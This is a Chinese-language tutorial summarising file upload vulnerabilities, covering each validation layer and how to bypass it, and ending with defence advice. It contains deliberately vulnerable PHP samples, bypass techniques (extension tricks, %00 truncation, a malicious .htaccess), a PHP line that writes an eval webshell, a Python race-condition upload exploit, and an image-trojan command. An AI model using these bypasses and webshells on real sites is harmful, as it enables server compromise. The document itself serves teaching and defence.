文件上传漏洞总结

1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

  • 客户端javascript校验(一般只校验文件的扩展名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 目录路经检测(检测跟Path参数相关的内容)
    • 文件扩展名检测 (检测跟文件 extension 相关的内容)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

3. 客户端校验

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法,有白名单形式也有黑名单形式。

  • 这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
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function CheckFileType()
{
var objButton=document.getElementById("Button1");//上传按钮
var objFileUpload=document.getElementById("FileUpload1");
var objMSG=document.getElementById("msg");//显示提示信息用DIV
var FileName=new String(objFileUpload.value);//文件名
var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
{
objButton.disabled=false;//启用上传按钮
objMSG.innerHTML="文件检测通过";
}
else
{
objButton.disabled=true;//禁用上传按钮
objMSG.innerHTML="请选择正确的文件上传";
}
}
  • 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测))内容如:只允许传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过方法:

  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp
  • 上传页面,审查元素,修改JavaScript检测函数(具体方法:可以使用firbug之类的插件把它禁掉)

4. 服务端检测

4.1. 服务端MIME类型检测

MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

服务器端检测文件MIME类型可能的代码如下:

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<?php
if($_FILES['file']['type'] != "image/gif")
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
  • 绕过方法

配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型

然后在对应目录生成shell.jpg

4.2. 服务端目录路径检测

  • 上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,测试代码
  • 条件:php版本5.3.4以下;gpc关闭
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<?php
error_reporting(0);
if(isset($_POST['upload']))
{
$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$file_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
//这里的$_REQUEST['jieduan']造成可以利用截断上传
$targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
date('YmdHis').".".$file_ext;
if(move_uploaded_file($tempFile,$targePath))
{
echo '上传成功'.'<br>';
echo '路径'.$targePath;
}
else
{
echo("上传失败");
}
}
else
{
echo("上传失败");
}
}
?>


4.3. 服务端文件扩展名检测

  • 黑名单检测:
    黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等

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<?php
function getExt($filename){
//sunstr - 返回字符串的子串
//strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
return substr($filename,strripos($filename,'.')+1);
}
if($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else{
$black_file = explode("|","php|jsp|asp");//允许上传的文件类型组
$new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
if(in_array($new_upload_file_ext,$black_file))
{
echo "文件不合法";
die();
}
else{
$filename = time().".".$new_upload_file_ext;
if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
{
echo "Upload Success";
}
}
}
?>

不被允许的文件格式.php,但是可以上传文件名为shell.php_(下划线是空格),IIS支持,linux不支持,详细见下面的特殊文件名绕过描述;

  • 白名单检测
    仅允许指定的文件类型上传,比如仅与需上传jpg | gif | doc等类型的文件,其他全部禁止
  • 绕过方法:

    • 文件名大小写绕过

      用像 AsP,pHp 之类的文件名绕过黑名单检测

    • 名单列表绕过

      用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

    • 特殊文件名绕过:

      比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性

    • 0x00截断

      文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中处理函数中,处理字符串中
      在扩展名检测这大部分都是 asp 的程序有这种漏洞,给个简单的伪代码

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      Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
      Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
      If(type == jpg)
      SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。


**PHP任意文件上传漏洞(CVE-2015-2348)**该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

演示代码:
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<?php
/*
move_uploaded_file(string $filename,string $destination)
$destination参数代表得失上传文件移动的最终目的地址
如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,
那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传
*/
if (isset($_POST['Upload'])){
$target_path = WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) {
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}else {
$html .= '<pre>';
$html .= $target_path . ' succesfully uploaded!';
$html .= '</pre>';
}}
else{
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}
}

然后我们上传文件,这里把POST的drops参数利用空字符进行截断

  • .htaccess 文件攻击

    配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

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    <FilesMatch "a.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”a.jpg”字符串的任意文件,统一执行。如果这个”a.jpg”的内容是一句话木马,即可利用中国菜刀进行连接



    4.4. 服务端文件内容检测

    • 文件幻数检测:

    JPG : FF D8 FF E0 00 10 4A 46 49 46

    GIF : 47 49 46 38 39 61 (GIF89a)

    PNG: 89 50 4E 47

    绕过方法:
    在文件幻数后面加上自己的一句话木马就行了。

    • 文件相关信息检测:

    一般就是检查图片文件的大小,图片文件的尺寸之类的信息。

    绕过方法:
    伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。

简化的演示代码:

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<?php
var_dump(getimagesize("shell.php"));
?>


加上GIF头内容

5. 竞争上传

演示代码:

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<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

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<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

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import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()

经过几次尝试后成功成功写入shell

6. 图片木马制作

命令:

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copy /b 1.jpg+2.php

7. 总结

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条件: 寻找一个上传点,查看上传点是否可用。
利用:
首先判断是程序员自己写的上传点,还是编辑器的上传功能
如果是编辑器上传功能,goolge当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)
上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg
判断服务器是什么类型,web服务器程序,是什么类型,版本号多少
利用解析漏洞
防御:::
上传文件的存储目录禁用执行权限
文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本)
不能有本地文件包含漏洞
及时修复Web上传代码(重要)
升级Web Server

参考链接

1. Upload Attack Framework

2. web中的条件竞争漏洞

3. 文件上传总结

4. 截断在文件包含和上传中的利用

5. 文件上传漏洞

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